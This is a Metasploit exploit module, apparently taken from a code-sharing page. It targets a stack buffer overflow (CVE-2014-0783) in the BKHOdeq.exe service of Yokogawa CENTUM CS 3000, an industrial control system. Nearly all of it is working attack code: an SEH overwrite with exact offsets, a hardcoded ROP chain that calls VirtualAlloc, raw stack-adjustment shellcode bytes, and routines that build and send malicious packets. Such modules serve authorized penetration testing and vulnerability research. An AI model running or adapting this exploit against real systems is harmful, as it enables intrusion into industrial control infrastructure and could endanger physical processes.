Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = AverageRanking
8

9
  include Msf::Exploit::Remote::Tcp
10
  include Msf::Exploit::Seh
11

12
  def initialize(info = {})
13
    super(update_info(info,
14
      'Name'           => 'Yokogawa CENTUM CS 3000 BKHOdeq.exe Buffer Overflow',
15
      'Description'    => %q{
16
        This module exploits a stack based buffer overflow in Yokogawa CENTUM CS 3000. The vulnerability
17
        exists in the service BKHOdeq.exe when handling specially crafted packets. This module has
18
        been tested successfully on Yokogawa CENTUM CS 3000 R3.08.50 over Windows XP SP3 and Windows
19
        2003 SP2.
20
      },
21
      'Author'         =>
22
        [
23
          'juan vazquez',
24
          'Redsadic <julian.vilas[at]gmail.com>'
25
        ],
26
      'References'     =>
27
        [
28
          [ 'URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf' ],
29
          [ 'URL', 'https://www.rapid7.com/blog/post/2014/03/10/yokogawa-centum-cs3000-vulnerabilities' ],
30
          [ 'CVE', '2014-0783']
31
        ],
32
      'Payload'        =>
33
        {
34
          'Space'       => 6000,
35
          'DisableNops' => true,
36
          'BadChars'    => ":\r\n"
37
        },
38
      'Platform'       => 'win',
39
      'Targets'        =>
40
        [
41
          [ 'Yokogawa CENTUM CS 3000 R3.08.50 / Windows [ XP SP3 / 2003 SP2 ]',
42
            {
43
              'Ret'    => 0x0042068e, # stackpivot from 2488 BKHOdeq.exe # ADD ESP,9B8 # RETN
44
              'Offset' => 8660,
45
              'StackPivotAdjustment' => 108
46
            }
47
          ]
48
        ],
49
      'DefaultOptions' =>
50
        {
51
          'EXITFUNC' => 'thread',
52
          'WfsDelay' => 10
53
        },
54
      'DisclosureDate' => '2014-03-10',
55
      'DefaultTarget'  => 0))
56

57
    register_options(
58
      [
59
        # Required for EIP offset
60
        Opt::RPORT(20171)
61
      ])
62
  end
63

64
  def check
65
    # It forces an huge allocation, which should fail,
66
    # and return back an error answer from the server
67
    # while parsing the packet header.
68
    pkt = build_pkt(0xffffffff)
69
    res = send_pkt(pkt)
70
    if valid_response?(res)
71
      return Exploit::CheckCode::Detected
72
    end
73

74
    Exploit::CheckCode::Safe
75
  end
76

77
  def exploit
78
    my_payload = payload.encoded
79
    rop_chain = create_rop_chain
80

81
    data = rand_text(target['StackPivotAdjustment'])
82
    data << rop_chain
83
    data << stack_adjust
84
    data << my_payload
85
    data << rand_text(target['Offset'] - data.length)
86
    data << generate_seh_record(target.ret)
87

88
    pkt = build_pkt(data.length, data)
89

90
    print_status("Trying target #{target.name}, sending #{pkt.length} bytes...")
91
    connect
92
    sock.put(pkt)
93
    disconnect
94
  end
95

96
  def build_pkt(data_length, data = "")
97
    header = rand_text(4)             # iMark
98
    header << [data_length].pack("N") # Data length
99
    header << rand_text(4)            # NumSet
100
    header << rand_text(2)            # req
101
    header << rand_text(2)            # Unknown
102

103
    pkt = header + data
104

105
    pkt
106
  end
107

108
  def send_pkt(data)
109
    connect
110
    sock.put(data)
111
    res = sock.get_once
112
    disconnect
113

114
    res
115
  end
116

117
  def valid_response?(data)
118
    return false unless data
119
    return false unless data.length == 4
120
    return false unless result_code(data) == 0
121

122
    true
123
  end
124

125
  def result_code(data)
126
    data.unpack("N").first
127
  end
128

129
  def stack_adjust
130
    adjust = "\x64\xa1\x18\x00\x00\x00"  # mov eax, fs:[0x18 # get teb
131
    adjust << "\x83\xC0\x08"             # add eax, byte 8 # get pointer to stacklimit
132
    adjust << "\x8b\x20"                 # mov esp, [eax] # put esp at stacklimit
133
    adjust << "\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000 # plus a little offset
134

135
    adjust
136
  end
137

138
  def create_rop_chain
139
    # rop chain generated with mona.py - www.corelan.be
140
    rop_gadgets =
141
      [
142
        0x63b27a60,  # RET # padding on XP SP3
143
        0x63b27a60,  # RET # padding on XP SP3
144
        0x63b27a5f,  # POP EAX # RETN [libbkhMsg.dll]
145
        0x61e761e0,  # ptr to &VirtualAlloc() [IAT LibBKCCommon.dll]
146
        0x61e641e4,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [LibBKCCommon.dll]
147
        0x00405522,  # PUSH EAX # TEST EAX,C0330042 # POP ESI # ADD ESP,6D8 # RETN [BKHOdeq.exe]
148
      ].flatten.pack("V*")
149
    rop_gadgets << rand_text(1752) # Padding because of the "ADD ESP,6D8" instr
150
    rop_gadgets << [
151
        0x61e62aa4,  # POP EBP # RETN [LibBKCCommon.dll]
152
        0x61e648c0,  # & push esp # ret  [LibBKCCommon.dll]
153
        0x66f3243f,  # POP EBX # RETN [libBKBEqrp.dll]
154
        0x00000001,  # 0x00000001-> ebx
155
        0x61e729dd,  # POP EDX # MOV EAX,5E5FFFFF # RETN [LibBKCCommon.dll]
156
        0x00001000,  # 0x00001000-> edx
157
        0x63a93f6f,  # POP ECX # RETN [libbkhopx.dll]
158
        0x00000040,  # 0x00000040-> ecx
159
        0x63ad1f6a,  # POP EDI # RETN [libbkhOdeq.dll]
160
        0x63dd3812,  # RETN (ROP NOP) [libbkhCsSrch.dll]
161
        0x61e60b4c,  # POP EAX # RETN [LibBKCCommon.dll]
162
        0x90909090,  # nop
163
        0x63ae5cc3,  # PUSHAD # RETN [libbkhOdbh.dll]
164
      ].flatten.pack("V*")
165

166
    rop_gadgets
167
  end
168
end
169

170